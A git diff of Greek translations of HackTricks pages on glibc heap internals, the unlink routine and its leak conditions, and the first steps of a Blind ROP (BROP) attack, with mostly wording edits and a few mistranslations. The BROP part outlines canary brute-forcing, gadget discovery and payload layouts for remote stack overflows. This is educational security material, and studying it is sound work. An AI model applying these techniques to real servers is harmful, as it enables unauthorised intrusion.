@ -197,7 +203,7 @@ typedef struct malloc_chunk* mchunkptr;
|
|||
```
|
||||
### Ευθυγράμμιση & ελάχιστο μέγεθος
|
||||
|
||||
Το δείκτης προς το κομμάτι και το `0x0f` πρέπει να είναι 0.
|
||||
Ο δείκτης στο κομμάτι και το `0x0f` πρέπει να είναι 0.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
|
||||
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
|
||||
|
@ -252,11 +258,13 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
|||
return request2size (req);
|
||||
}
|
||||
```
|
||||
### Λήψη δεδομένων Chunk και τροποποίηση μεταδεδομένων
|
||||
Σημειώστε ότι για τον υπολογισμό του συνολικού χώρου που απαιτείται προστίθεται μόνο μία φορά το `SIZE_SZ` επειδή το πεδίο `prev_size` μπορεί να χρησιμοποιηθεί για την αποθήκευση δεδομένων, επομένως απαιτείται μόνο η αρχική κεφαλίδα.
|
||||
|
||||
Αυτές οι λειτουργίες λειτουργούν λαμβάνοντας ένα δείκτη σε ένα chunk και είναι χρήσιμες για έλεγχο/ορισμό μεταδεδομένων:
|
||||
### Λάβετε δεδομένα Chunk και τροποποιήστε τα μεταδεδομένα
|
||||
|
||||
* Έλεγχος σημαιών chunk
|
||||
Αυτές οι συναρτήσεις λειτουργούν λαμβάνοντας έναν δείκτη σε ένα chunk και είναι χρήσιμες για τον έλεγχο/ρύθμιση μεταδεδομένων:
|
||||
|
||||
* Ελέγξτε τις σημαίες του chunk
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
|
||||
|
@ -286,7 +294,7 @@ the chunk to the user, if necessary. */
|
|||
/* Mark a chunk as not being on the main arena. */
|
||||
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
|
||||
```
|
||||
* Μεγέθη και δείκτες προς άλλα τμήματα
|
||||
* Μεγέθη και δείκτες σε άλλα κομμάτια
|
||||
```c
|
||||
/*
|
||||
Bits to mask off when extracting size
|
||||
|
@ -319,7 +327,7 @@ people extending or adapting this malloc.
|
|||
/* Treat space at ptr + offset as a chunk */
|
||||
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
|
||||
```
|
||||
* Ανάκτηση bit
|
||||
* Insue bit
|
||||
```c
|
||||
/* extract p's inuse bit */
|
||||
#define inuse(p) \
|
||||
|
@ -343,7 +351,7 @@ people extending or adapting this malloc.
|
|||
#define clear_inuse_bit_at_offset(p, s) \
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
|
||||
```
|
||||
* Ορίστε την κεφαλή και το υποσέλιδο (όταν ο αριθμός των τμημάτων σε χρήση
|
||||
* Ρυθμίστε την κεφαλή και το υποσέλιδο (όταν χρησιμοποιούνται οι αριθμοί τμημάτων)
|
||||
```c
|
||||
/* Set size at head, without disturbing its use bit */
|
||||
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
|
||||
|
@ -354,7 +362,7 @@ people extending or adapting this malloc.
|
|||
/* Set size at footer (only when chunk is not in use) */
|
||||
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
|
||||
```
|
||||
* Λάβετε το μέγεθος των πραγματικά χρήσιμων δεδομένων μέσα στο κομμάτι
|
||||
* Πάρτε το μέγεθος των πραγματικών χρησιμοποιήσιμων δεδομένων μέσα στο κομμάτι
|
||||
```c
|
||||
#pragma GCC poison mchunk_size
|
||||
#pragma GCC poison mchunk_prev_size
|
||||
|
@ -385,9 +393,9 @@ return ptr;
|
|||
```
|
||||
## Παραδείγματα
|
||||
|
||||
### Γρήγορο Παράδειγμα Heap
|
||||
### Γρήγορο Παράδειγμα Σωρού
|
||||
|
||||
Γρήγορο παράδειγμα heap από το [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) αλλά σε arm64:
|
||||
Γρήγορο παράδειγμα σωρού από [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) αλλά σε arm64:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
@ -404,19 +412,19 @@ strcpy(ptr, "panda");
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Είναι δυνατόν να δούμε ότι η συμβολοσειρά "panda" αποθηκεύτηκε στη διεύθυνση `0xaaaaaaac12a0` (η οποία ήταν η διεύθυνση που δόθηκε ως απάντηση από το malloc μέσα στο `x0`). Ελέγχοντας 0x10 bytes πριν από αυτήν, είναι δυνατόν να δούμε ότι το `0x0` αντιπροσωπεύει ότι το **προηγούμενο τμήμα δεν χρησιμοποιείται** (μήκος 0) και ότι το μήκος αυτού του τμήματος είναι `0x21`.
|
||||
Είναι δυνατόν να δούμε ότι η συμβολοσειρά panda αποθηκεύτηκε στη διεύθυνση `0xaaaaaaac12a0` (η οποία ήταν η διεύθυνση που δόθηκε ως απάντηση από το malloc μέσα στο `x0`). Ελέγχοντας 0x10 bytes πριν, είναι δυνατόν να δούμε ότι το `0x0` αντιπροσωπεύει ότι το **προηγούμενο κομμάτι δεν χρησιμοποιείται** (μήκος 0) και ότι το μήκος αυτού του κομματιού είναι `0x21`.
|
||||
|
||||
Τα επιπλέον κενά που κρατήθηκαν (0x21-0x10=0x11) προέρχονται από τα **προστιθέμενα κεφαλίδες** (0x10) και το 0x1 δεν σημαίνει ότι κρατήθηκαν 0x21B αλλά τα τελευταία 3 bits του μήκους της τρέχουσας κεφαλίδας έχουν κάποιες ειδικές σημασίες. Δεδομένου ότι το μήκος είναι πάντα ευθυγραμμισμένο σε 16 bytes (σε μηχανές 64 bits), αυτά τα bits προφανώς δεν θα χρησιμοποιηθούν ποτέ από τον αριθμό του μήκους.
|
||||
Οι επιπλέον χώροι που έχουν κρατηθεί (0x21-0x10=0x11) προέρχονται από τους **προστιθέμενους επικεφαλίδες** (0x10) και το 0x1 δεν σημαίνει ότι κρατήθηκε 0x21B αλλά τα τελευταία 3 bits του μήκους της τρέχουσας επικεφαλίδας έχουν κάποιες ειδικές σημασίες. Καθώς το μήκος είναι πάντα ευθυγραμμισμένο σε 16 bytes (σε μηχανές 64 bits), αυτά τα bits στην πραγματικότητα δεν θα χρησιμοποιηθούν ποτέ από τον αριθμό μήκους.
|
||||
```
|
||||
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
|
||||
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
||||
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
|
||||
```
|
||||
### Παράδειγμα Πολυνημάτων
|
||||
### Multithreading Example
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Πολυνήματα</summary>
|
||||
<summary>Multithread</summary>
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
@ -460,35 +468,35 @@ return 0;
|
|||
```
|
||||
</details>
|
||||
|
||||
Κατά την αποσφαλμάτωση του προηγούμενου παραδείγματος είναι δυνατόν να δούμε ότι στην αρχή υπάρχει μόνο 1 arena:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Στη συνέχεια, μετά την κλήση του πρώτου νήματος, αυτού που καλεί το malloc, δημιουργείται ένα νέο arena:
|
||||
Αναλύοντας το προηγούμενο παράδειγμα, είναι δυνατόν να δούμε πώς στην αρχή υπάρχει μόνο 1 αρένα:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
και μέσα σε αυτό μπορούν να βρεθούν ορισμένα κομμάτια:
|
||||
Στη συνέχεια, μετά την κλήση του πρώτου νήματος, αυτού που καλεί το malloc, δημιουργείται μια νέα αρένα:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bins & Εκχωρήσεις/Απελευθερώσεις Μνήμης
|
||||
και μέσα σε αυτήν μπορούν να βρεθούν μερικά κομμάτια:
|
||||
|
||||
Ελέγξτε ποια είναι τα bins και πώς οργανώνονται και πώς γίνεται η εκχώρηση και απελευθέρωση μνήμης στο:
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bins & Memory Allocations/Frees
|
||||
|
||||
Ελέγξτε ποια είναι τα bins και πώς είναι οργανωμένα και πώς η μνήμη κατανέμεται και απελευθερώνεται σε:
|
||||
|
||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Έλεγχοι Ασφαλείας Συναρτήσεων Heap
|
||||
## Heap Functions Security Checks
|
||||
|
||||
Οι συναρτήσεις που σχετίζονται με το heap θα πραγματοποιήσουν ορισμένους ελέγχους πριν εκτελέσουν τις ενέργειές τους προκειμένου να βεβαιωθούν ότι το heap δεν έχει διαφθαρεί:
|
||||
Οι συναρτήσεις που εμπλέκονται στο heap θα εκτελούν ορισμένους ελέγχους πριν εκτελέσουν τις ενέργειές τους για να προσπαθήσουν να διασφαλίσουν ότι το heap δεν έχει διαφθαρεί:
|
||||
|
||||
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
|
||||
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Αναφορές
|
||||
## References
|
||||
|
||||
* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
|
||||
* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
||||
|
|
|
@ -1,21 +1,21 @@
|
|||
# unlink
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Υποστηρίξτε το HackTricks</summary>
|
||||
<summary>Υποστήριξη HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Κώδικας
|
||||
### Code
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
|
||||
|
@ -65,28 +65,43 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
|||
```
|
||||
### Γραφική Εξήγηση
|
||||
|
||||
Ελέγξτε αυτήν την εξαιρετική γραφική εξήγηση της διαδικασίας unlink:
|
||||
Δείτε αυτή τη σπουδαία γραφική εξήγηση της διαδικασίας unlink:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
|
||||
### Έλεγχοι Ασφαλείας
|
||||
|
||||
* Ελέγξτε αν το υποδειγμένο μέγεθος του κομματιού είναι το ίδιο με το prev\_size που υποδεικνύεται στο επόμενο κομμάτι
|
||||
* Ελέγξτε αν το υποδεικνυόμενο μέγεθος του chunk είναι το ίδιο με το prev\_size που υποδεικνύεται στο επόμενο chunk
|
||||
* Ελέγξτε επίσης ότι `P->fd->bk == P` και `P->bk->fw == P`
|
||||
* Αν το κομμάτι δεν είναι μικρό, ελέγξτε ότι `P->fd_nextsize->bk_nextsize == P` και `P->bk_nextsize->fd_nextsize == P`
|
||||
* Αν το chunk δεν είναι μικρό, ελέγξτε ότι `P->fd_nextsize->bk_nextsize == P` και `P->bk_nextsize->fd_nextsize == P`
|
||||
|
||||
### Διαρροές
|
||||
|
||||
Ένα αποσυνδεδεμένο κομμάτι δεν καθαρίζει τις εκχωρημένες διευθύνσεις, οπότε έχοντας πρόσβαση σε αυτό, είναι δυνατή η διαρροή ορισμένων ενδιαφερουσών διευθύνσεων:
|
||||
Ένα αποσυνδεδεμένο chunk δεν καθαρίζει τις κατανεμημένες διευθύνσεις, οπότε έχοντας πρόσβαση για να το διαβάσετε, είναι δυνατόν να διαρρεύσουν κάποιες ενδιαφέρουσες διευθύνσεις:
|
||||
|
||||
Διαρροές Libc:
|
||||
Libc Διαρροές:
|
||||
|
||||
* Αν το P βρίσκεται στην αρχή της διπλά συνδεδεμένης λίστας, το `bk` θα δείχνει στο `malloc_state` στο libc
|
||||
* Αν το P βρίσκεται στο τέλος της διπλά συνδεδεμένης λίστας, το `fd` θα δείχνει στο `malloc_state` στο libc
|
||||
* Όταν η διπλά συνδεδεμένη λίστα περιέχει μόνο ένα ελεύθερο κομμάτι, το P βρίσκεται στη διπλά συνδεδεμένη λίστα και τόσο το `fd` όσο και το `bk` μπορούν να διαρρεύσουν τη διεύθυνση μέσα στο `malloc_state`.
|
||||
* Αν το P βρίσκεται στην κεφαλή της διπλά συνδεδεμένης λίστας, το `bk` θα δείχνει στο `malloc_state` στη libc
|
||||
* Αν το P βρίσκεται στο τέλος της διπλά συνδεδεμένης λίστας, το `fd` θα δείχνει στο `malloc_state` στη libc
|
||||
* Όταν η διπλά συνδεδεμένη λίστα περιέχει μόνο ένα ελεύθερο chunk, το P είναι στη διπλά συνδεδεμένη λίστα, και τόσο το `fd` όσο και το `bk` μπορούν να διαρρεύσουν τη διεύθυνση μέσα στο `malloc_state`.
|
||||
|
||||
Διαρροές Heap:
|
||||
|
||||
* Αν το P βρίσκεται στην αρχή της διπλά συνδεδεμένης λίστας, το `fd` θα δείχνει σε ένα διαθέσιμο κομμάτι στη στοίβα
|
||||
* Αν το P βρίσκεται στο τέλος της διπλά συνδεδεμένης λίστας, το `bk` θα δείχνει σε ένα διαθέσιμο κομμάτι στη στοίβα
|
||||
* Αν το P βρίσκεται στη διπλά συνδεδεμένη λίστα, τόσο το `fd` όσο και το `bk` θα δείχνουν σε ένα διαθέσιμο κομμάτι στη στοίβα
|
||||
* Αν το P βρίσκεται στην κεφαλή της διπλά συνδεδεμένης λίστας, το `fd` θα δείχνει σε ένα διαθέσιμο chunk στο heap
|
||||
* Αν το P βρίσκεται στο τέλος της διπλά συνδεδεμένης λίστας, το `bk` θα δείχνει σε ένα διαθέσιμο chunk στο heap
|
||||
* Αν το P είναι στη διπλά συνδεδεμένη λίστα, τόσο το `fd` όσο και το `bk` θα δείχνουν σε ένα διαθέσιμο chunk στο heap
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,94 +1,114 @@
|
|||
# BROP - Τυφλή Προσανατολισμένη Προγραμματισμός Επιστροφής
|
||||
# BROP - Blind Return Oriented Programming
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Υποστηρίξτε το HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Βασικές Πληροφορίες
|
||||
## Basic Information
|
||||
|
||||
Ο στόχος αυτής της επίθεσης είναι να **καταχραστεί ένα ROP μέσω ενός buffer overflow χωρίς καμία πληροφορία για το ευάλωτο δυαδικό**.\
|
||||
Αυτή η επίθεση βασίζεται στο ακόλουθο σενάριο:
|
||||
Ο στόχος αυτής της επίθεσης είναι να μπορέσουμε να **καταχραστούμε ένα ROP μέσω μιας υπερχείλισης buffer χωρίς καμία πληροφορία για το ευάλωτο δυαδικό αρχείο**.\
|
||||
Αυτή η επίθεση βασίζεται στο εξής σενάριο:
|
||||
|
||||
* Μια ευπαθής στοίβα και γνώση για το πώς να την ενεργοποιήσετε.
|
||||
* Ένα εφαρμογή διακομιστή που επανεκκινείται μετά από κάθε κατάρρευση.
|
||||
* Μια ευπάθεια στο stack και γνώση του πώς να την ενεργοποιήσουμε.
|
||||
* Μια εφαρμογή server που επανεκκινείται μετά από μια κατάρρευση.
|
||||
|
||||
## Επίθεση
|
||||
## Attack
|
||||
|
||||
### **1. Εύρεση ευπαθούς μετατόπισης** αποστέλλοντας έναν επιπλέον χαρακτήρα μέχρι να ανιχνευθεί μια δυσλειτουργία του διακομιστή
|
||||
### **1. Βρείτε την ευάλωτη απόσταση** στέλνοντας έναν επιπλέον χαρακτήρα μέχρι να ανιχνευθεί μια δυσλειτουργία του server
|
||||
|
||||
### **2. Βίαιη αναζήτηση canary** για διαρροή
|
||||
### **2. Brute-force canary** για να το διαρρεύσετε
|
||||
|
||||
### **3. Βίαιη αναζήτηση αποθηκευμένων RBP και RIP** διευθύνσεων στη στοίβα για διαρροή τους
|
||||
### **3. Brute-force αποθηκευμένες διευθύνσεις RBP και RIP** στο stack για να τις διαρρεύσετε
|
||||
|
||||
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με αυτές τις διαδικασίες [εδώ (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) και [εδώ (BF Διευθύνσεις στη Στοίβα)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
||||
Μπορείτε να βρείτε περισσότερες πληροφορίες για αυτές τις διαδικασίες [εδώ (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) και [εδώ (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
||||
|
||||
### **4. Εύρεση του gadget στάσης**
|
||||
### **4. Βρείτε το gadget STOP**
|
||||
|
||||
Αυτό το gadget επιτρέπει ουσιαστικά να επιβεβαιωθεί ότι κάτι ενδιαφέρον εκτελέστηκε από το ROP gadget επειδή η εκτέλεση δεν κατέρρευσε. Συνήθως, αυτό το gadget θα είναι κάτι που **σταματά την εκτέλεση** και θα βρίσκεται στο τέλος της αλυσίδας ROP κατά την αναζήτηση ROP gadgets για να επιβεβαιώσετε ότι ένα συγκεκριμένο ROP gadget εκτελέστηκε.
|
||||
Αυτό το gadget επιτρέπει βασικά να επιβεβαιωθεί ότι κάτι ενδιαφέρον εκτελέστηκε από το gadget ROP επειδή η εκτέλεση δεν κατέρρευσε. Συνήθως, αυτό το gadget θα είναι κάτι που **σταματά την εκτέλεση** και είναι τοποθετημένο στο τέλος της αλυσίδας ROP όταν αναζητάμε gadgets ROP για να επιβεβαιώσουμε ότι εκτελέστηκε ένα συγκεκριμένο gadget ROP.
|
||||
|
||||
### **5. Εύρεση BROP gadget**
|
||||
### **5. Βρείτε το gadget BROP**
|
||||
|
||||
Αυτή η τεχνική χρησιμοποιεί το [**ret2csu**](ret2csu.md) gadget. Και αυτό οφείλεται στο γεγονός ότι αν έχετε πρόσβαση σε αυτό το gadget στη μέση ορισμένων οδηγιών, λαμβάνετε gadgets για να ελέγξετε τα **`rsi`** και **`rdi`**:
|
||||
Αυτή η τεχνική χρησιμοποιεί το [**ret2csu**](ret2csu.md) gadget. Και αυτό συμβαίνει επειδή αν αποκτήσετε πρόσβαση σε αυτό το gadget στη μέση κάποιων εντολών, αποκτάτε gadgets για να ελέγξετε **`rsi`** και **`rdi`**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Αυτά θα ήταν τα gadgets:
|
||||
Αυτά θα είναι τα gadgets:
|
||||
|
||||
* `pop rsi; pop r15; ret`
|
||||
* `pop rdi; ret`
|
||||
|
||||
Παρατηρήστε πώς με αυτά τα gadgets είναι δυνατό να **ελέγξετε 2 ορίσματα** μιας συνάρτησης προς κλήση.
|
||||
Παρατηρήστε πώς με αυτά τα gadgets είναι δυνατό να **ελέγξετε 2 παραμέτρους** μιας συνάρτησης που θα καλέσετε.
|
||||
|
||||
Επίσης, παρατηρήστε ότι το ret2csu gadget έχει μια **πολύ μοναδική υπογραφή** επειδή θα αποσυρθούν 6 καταχωρητές από τη στοίβα. Έτσι, αποστέλλοντας μια αλυσίδα όπως:
|
||||
Επίσης, παρατηρήστε ότι το gadget ret2csu έχει μια **πολύ μοναδική υπογραφή** επειδή θα popάρει 6 καταχωρητές από το stack. Έτσι, στέλνοντας μια αλυσίδα όπως:
|
||||
|
||||
`'A' * μετατόπιση + canary + rbp + ΔΙΕΥΘΥΝΣΗ + 0xdead * 6 + STOP`
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
Αν το **STOP εκτελεστεί**, αυτό σημαίνει βασικά ότι χρησιμοποιήθηκε μια **διεύθυνση που αποσύρει 6 καταχωρητές** από τη στοίβα. Ή ότι η χρησιμοποιηθείσα διεύθυνση ήταν επίσης μια διεύθυνση STOP.
|
||||
Αν το **STOP εκτελείται**, αυτό σημαίνει βασικά ότι χρησιμοποιήθηκε μια **διεύθυνση που popάρει 6 καταχωρητές** από το stack. Ή ότι η διεύθυνση που χρησιμοποιήθηκε ήταν επίσης μια διεύθυνση STOP.
|
||||
|
||||
Για να **αφαιρέσετε αυτήν την τελευταία επιλογή**, εκτελείται μια νέα αλυσίδα όπως η ακόλουθη και δεν πρέπει να εκτελεστεί το STOP gadget για να επιβεβαιωθεί ότι η προηγούμενη αποσύρθηκε 6 καταχωρητές:
|
||||
Για να **αφαιρέσουμε αυτή την τελευταία επιλογή**, εκτελείται μια νέα αλυσίδα όπως η παρακάτω και δεν πρέπει να εκτελεί το gadget STOP για να επιβεβαιώσει ότι το προηγούμενο popάρισε 6 καταχωρητές:
|
||||
|
||||
`'A' * μετατόπιση + canary + rbp + ΔΙΕΥΘΥΝΣΗ`
|
||||
`'A' * offset + canary + rbp + ADDR`
|
||||
|
||||
Γνωρίζοντας τη διεύθυνση του ret2csu gadget, είναι δυνατό να **συμπεράνετε τη διεύθυνση των gadgets για τον έλεγχο του `rsi` και `rdi`**.
|
||||
Γνωρίζοντας τη διεύθυνση του gadget ret2csu, είναι δυνατό να **συμπεράνουμε τη διεύθυνση των gadgets για να ελέγξουμε `rsi` και `rdi`**.
|
||||
|
||||
### 6. Εύρεση PLT
|
||||
### 6. Βρείτε το PLT
|
||||
|
||||
Η πίνακας PLT μπορεί να αναζητηθεί από το 0x400000 ή από τη **διευθύνση RIP που διέρρευσε** από τη στοίβα (εάν χρησιμοποιείται **PIE**). Τα **στοιχεία** του πίνακα είναι **χωρισμένα κατά 16B** (0x10B), και όταν καλείται μια συνάρτηση ο διακομιστής δεν καταρρέει ακόμα και αν τα ορίσματα δεν είναι σωστά. Επίσης, η ελέγχουμε τη διεύθυνση ενός στοιχείου στο **PLT + 6B δεν καταρρέει** καθώς είναι ο πρώτος κώδικας που εκτελείται.
|
||||
